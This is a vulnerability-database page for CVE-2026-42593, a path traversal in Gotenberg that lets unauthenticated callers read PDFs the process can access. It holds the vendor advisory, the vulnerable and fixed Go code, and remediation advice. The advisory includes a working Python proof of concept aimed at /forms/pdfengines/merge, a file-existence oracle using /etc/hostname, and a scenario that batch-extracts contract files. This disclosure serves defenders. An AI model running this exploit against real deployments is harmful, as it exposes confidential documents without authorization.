Skip to main content

Gotenberg CVE-2026-42593

| EUVDEUVD-2026-30314 MEDIUM
Path Traversal (CWE-22)
2026-05-07 https://github.com/gotenberg/gotenberg GHSA-3cv5-q585-h563
5.3
CVSS 3.1 · Vendor: https://github.com/gotenberg/gotenberg
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Craft malformed HTTP POST
  2. Delivery
    Submit to /forms/pdfengines/merge endpoint
  3. Exploit
    Specify stampSource=pdf without file upload
  4. Install
    Provide user-controlled path in stampExpression
  5. C2
    Gotenberg passes path to pdfcpu CLI
  6. Execute
    pdfcpu opens and reads target PDF
  7. Impact
    Attacker receives output PDF with victim content composited
  8. Step 8
    Extract sensitive data via PDF parsing

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must submit an HTTP POST request to one of six specific routes (pdfengines/merge, pdfengines/split, libreoffice/convert, chromium/convert/url, chromium/convert/html, or chromium/convert/markdown) with form parameters stampSource=pdf or watermarkSource=pdf, plus a corresponding stampExpression=/path or watermarkExpression=/path containing the target file path. Critically, the request must NOT include an uploaded file in the stamp or watermark form field (stampFile and watermarkFile must be empty/absent)-if a file IS uploaded, the expression is overwritten and the arbitrary path is rejected. The target PDF must exist and be readable by the Gotenberg process user (uid of the container). No authentication is required for any of these six routes. The vulnerability does NOT affect the dedicated /forms/pdfengines/stamp or /forms/pdfengines/watermark endpoints, which correctly enforce file upload requirements. Exploitation is therefore limited to the six conversion routes with lax validation. Non-default configurations do not protect against this vulnerability; the six routes accept these parameters in their default, unmodified state.

Impact

CVSS 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) indicates network-exploitable confidentiality breach with low attack complexity and no authentication requirement, but limited impact scope to the attacking user's view. However, real-world risk depends heavily on deployment context. In default Docker image without volume mounts, attackers can only read PDFs in ephemeral /tmp directories created during concurrent requests-a narrow window but still exploitable in high-throughput scenarios. In common document-processing pipeline deployments that bind-mount host directories (e.g., /data, /shared-storage), an attacker gains arbitrary PDF read access to production documents-escalating practical impact significantly beyond the CVSS Confidentiality score. The attack requires zero authentication and no user interaction, making barrier to exploitation minimal. No EPSS or KEV status provided in input data, but the proof-of-concept is functional and reproducible on version 8.31.0, confirming exploitability. The file-existence oracle (HTTP 500 for unparseable PDFs vs. HTTP 400 for non-images) additionally enables attackers to enumerate filesystem structure. The combination of network accessibility, easy exploitation, and high-value data exposure (PDFs often contain sensitive business documents) elevates real-world priority above the base CVSS score suggests, particularly for deployments with mounted storage.

Exploit ScenarioDerived

An attacker on the same network (or with external access to port 3000) crafts an HTTP POST request to /forms/pdfengines/merge with minimal PDF files as input and sets stampSource=pdf plus stampExpression=/path/to/sensitive.pdf. Since no stamp file is uploaded in the form data, the validation short-circuits and the user-supplied path bypasses sanitization. Gotenberg passes the path to pdfcpu, which opens and reads the target PDF. The output returned to the attacker contains the victim PDF's content composited as a visual element, allowing extraction via PDF parsing tools. In a production scenario, an attacker might iterate over common file paths (/data/contracts/contract_*.pdf, /shared/invoices/2026-*.pdf) or use the HTTP 500 oracle to map filesystem structure, then batch-extract sensitive documents. No user interaction is required; exploitation succeeds against default configurations.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 07, 2026

Arbitrary PDF file read vulnerability in Gotenberg versions up to 8.31.0 allows unauthenticated remote attackers to extract PDF content via path traversal in stampExpression and watermarkExpression parameters on six conversion routes (pdfengines/merge, pdfengines/split, libreoffice/convert, chromium/convert/url, chromium/convert/html, chromium/convert/markdown). The vulnerability exists because these routes accept user-controlled file paths without validation when stamp or watermark source is set to PDF, unlike the dedicated stamp/watermark routes which enforce file upload requirements. An attacker can read any PDF accessible to the Gotenberg process by specifying its filesystem path, gaining access to potentially sensitive documents in containerized deployments or systems with mounted directories.

RemediationAI

No vendor-released patch is available at time of analysis per the provided input (fixed in: None). The recommended fix, as specified in the CVE disclosure, requires applying the dedicated stamp route's validation guard to all twelve vulnerable call sites: six stamp-related locations in pdfengines/routes.go (lines 679-683 for merge, 803-807 for split), libreoffice/routes.go (lines 307-311), and chromium/routes.go (lines 433-438 for url, 508-513 for html, 592-597 for markdown), plus six corresponding watermark locations. The mandatory check must reject requests where stamp.Source or watermark.Source is Image or PDF and no file is uploaded (stampFile or watermarkFile is empty), returning HTTP 400. Until a patched version is released, organizations should implement compensating controls: disable or restrict network access to Gotenberg ports (default 3000) using firewall rules or network policies, limit container filesystem mounts to strictly necessary directories only (avoid mounting entire host /data or /home directories), run Gotenberg containers with read-only root filesystems where possible, and implement egress monitoring to detect file access patterns. If public access is required, deploy Gotenberg behind an authenticating reverse proxy (e.g., OAuth2-Proxy, API gateway with API key enforcement) to require authentication before any request reaches Gotenberg-this negates the PR:N (unauthenticated) attack vector. Monitor application logs for suspicious stampExpression or watermarkExpression parameters containing absolute paths (/ prefix) or traversal sequences (../).

Affected VersionsENISA

gotenberg < 8.32.0

Affected Packages

go github.com/gotenberg/gotenberg/v7 no fix
go github.com/gotenberg/gotenberg/v8 fix: 8.32.0
euvd gotenberg fix: 8.32.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gotenberg is a Docker-based document conversion API that wraps LibreOffice and Chromium for PDF generation. The vulnerability stems from inconsistent input validation across route handlers. Six routes employ a lax conditional pattern checking both source type AND file upload presence (AND gate), whereas the dedicated stamp route enforces file upload as a prerequisite (AND gate without short-circuit). When stampFile or watermarkFile is empty, the lax routes skip path normalization, allowing stampExpression or watermarkExpression to contain arbitrary filesystem paths. These expressions are passed directly to pdfcpu (a PDF manipulation CLI tool) via unfiltered command-line arguments. The pdfcpu CLI then opens the specified path and reads the PDF file, compositing it as a visual stamp/watermark onto the output document returned to the caller. The root cause (CWE-22 Path Traversal) manifests because user input is used to construct file access operations without canonicalization or allowlist validation. The affected CPE is go/github.com/gotenberg/gotenberg/v8 through version 8.31.0.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/gotenberg/gotenberg) PRIMARY 5.3 MEDIUM
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
SUSE MEDIUM

Primary rating from Vendor (https://github.com/gotenberg/gotenberg).

CVSS VectorVendor: https://github.com/gotenberg/gotenberg

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Lifecycle Timeline

2
Patch available
May 14, 2026 - 18:02 EUVD
CVE Published
May 07, 2026 - 00:59 nvd
MEDIUM 5.3

DescriptionCVE.org

Summary

Six conversion routes (pdfengines/merge, pdfengines/split, libreoffice/convert, chromium/convert/url, chromium/convert/html, chromium/convert/markdown) accept stampSource=pdf + stampExpression=/path and watermarkSource=pdf + watermarkExpression=/path from anonymous callers. The dedicated stamp/watermark routes require an uploaded file when the source type is image or pdf; these six routes only overwrite the expression when a file is uploaded, leaving the user-controlled path intact when no file is attached. pdfcpu opens the path and composites its pages onto the output PDF, which returns to the caller. An attacker reads any PDF the Gotenberg process can access on the container filesystem.

Details

The dedicated stamp route at pkg/modules/pdfengines/routes.go:1322-1332 rejects requests missing the stamp file:

go
if stamp.Source == gotenberg.StampSourceImage || stamp.Source == gotenberg.StampSourcePDF {
    if stampFile == "" {
        return api.WrapError(errors.New("no stamp file provided"), ...)
    }
    stamp.Expression = stampFile
}

The merge, split, LibreOffice, and Chromium routes use a lax pattern across twelve call sites (six stamp + six watermark):

go
// pkg/modules/pdfengines/routes.go:679-683 (merge), 803 (split);
// pkg/modules/libreoffice/routes.go:307-311;
// pkg/modules/chromium/routes.go:433-438, 508-513, 592-597
if (stamp.Source == gotenberg.StampSourceImage || stamp.Source == gotenberg.StampSourcePDF) && stampFile != "" {
    stamp.Expression = stampFile
}
if (watermark.Source == gotenberg.StampSourceImage || watermark.Source == gotenberg.StampSourcePDF) && watermarkFile != "" {
    watermark.Expression = watermarkFile
}

When stampFile == "" (no file attached to the stamp form field), the guard short-circuits and stamp.Expression keeps the raw user-supplied stampExpression form string. The same pattern applies to watermarkFile/watermarkExpression.

pkg/modules/pdfcpu/pdfcpu.go:635 forwards the expression straight to the pdfcpu CLI:

go
args := []string{"stamp", "add", "-mode", "pdf", "--", stamp.Expression, onDesc, inputPath, outputPath}
cmd, err := gotenberg.CommandContext(ctx, logger, cfg.BinPath, args...)

pdfcpu reads the target PDF at that path and composites its pages as a stamp on every page of the merged output.

Proof of Concept

Reproduction on the stock Docker image. The scenario models a deployment that mounts host paths into the container (common for document-processing pipelines) or where another request leaves a PDF in the shared /tmp filesystem:

bash
docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8
docker exec gotenberg-poc sh -c 'cat > /tmp/victim_doc.pdf' < victim.pdf

Where victim.pdf contains extractable text such as BOB-CONFIDENTIAL-CONTRACT-2026-04-20.

Alice attacks without auth:

python
import requests, io, subprocess
T = "http://localhost:3000"

minimal = (b"%PDF-1.4\n1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n"
           b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n"
           b"3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>\nendobj\n"
           b"xref\n0 4\n0000000000 65535 f \n0000000009 00000 n \n"
           b"0000000058 00000 n \n0000000115 00000 n \n"
           b"trailer\n<< /Size 4 /Root 1 0 R >>\nstartxref\n180\n%%EOF\n")

r = requests.post(
    f"{T}/forms/pdfengines/merge",
    files={"file1": ("a.pdf", io.BytesIO(minimal), "application/pdf"),
           "file2": ("b.pdf", io.BytesIO(minimal), "application/pdf")},
    data={"stampSource": "pdf", "stampExpression": "/tmp/victim_doc.pdf"},
    timeout=30,
)
print(f"HTTP {r.status_code} bytes={len(r.content)}")
open("/tmp/out.pdf", "wb").write(r.content)
print(subprocess.run(["pdftotext", "/tmp/out.pdf", "-"],
                     capture_output=True, text=True).stdout)

Observed output against gotenberg 8.31.0:

HTTP 200 bytes=1852
BOB-CONFIDENTIAL-CONTRACT-2026-04-20
...

Non-PDF targets via stampSource=pdf (for example /etc/hostname) return HTTP 500 after pdfcpu fails to parse the file as PDF, which acts as a file-existence oracle. stampSource=image with non-image files returns HTTP 400 (image parsing rejects it). The same PoC applies with stampSource replaced by watermarkSource and stampExpression by watermarkExpression.

Impact

Any anonymous caller with access to port 3000 reads PDF files from any path the Gotenberg process can open. In the default Docker image with no volume mounts, the reachable set is limited to /tmp/<gotenberg-work-uuid>/<request-uuid>/*.pdf (files staged during another in-flight request) and any PDF files the base image happens to ship. In deployments that bind-mount host directories into the container (document processing pipelines, shared storage for Office document conversion), the attacker reads arbitrary PDF files under those mount points. The file-existence oracle additionally lets the attacker probe for the presence of non-PDF files anywhere the process can read.

Recommended Fix

Apply the dedicated stamp route's guard to all six stamp call sites and all six watermark call sites:

go
if stamp.Source == gotenberg.StampSourceImage || stamp.Source == gotenberg.StampSourcePDF {
    if stampFile == "" {
        return api.WrapError(
            errors.New("no stamp file provided for image or pdf source"),
            api.NewSentinelHttpError(http.StatusBadRequest,
                "Invalid form data: a stamp file is required for image or pdf source"),
        )
    }
    stamp.Expression = stampFile
}
if watermark.Source == gotenberg.StampSourceImage || watermark.Source == gotenberg.StampSourcePDF {
    if watermarkFile == "" {
        return api.WrapError(
            errors.New("no watermark file provided for image or pdf source"),
            api.NewSentinelHttpError(http.StatusBadRequest,
                "Invalid form data: a watermark file is required for image or pdf source"),
        )
    }
    watermark.Expression = watermarkFile
}

Call sites: pkg/modules/pdfengines/routes.go:679-683 (merge), :803-807 (split), pkg/modules/libreoffice/routes.go:307-311, pkg/modules/chromium/routes.go:433-438 (url), :508-513 (html), :592-597 (markdown), plus each route's watermark counterpart.

--- *Found by aisafe.io*

Threat Intelligence Overview

EPSS Score
0.0%
Top 88% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact· derived
Medium

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy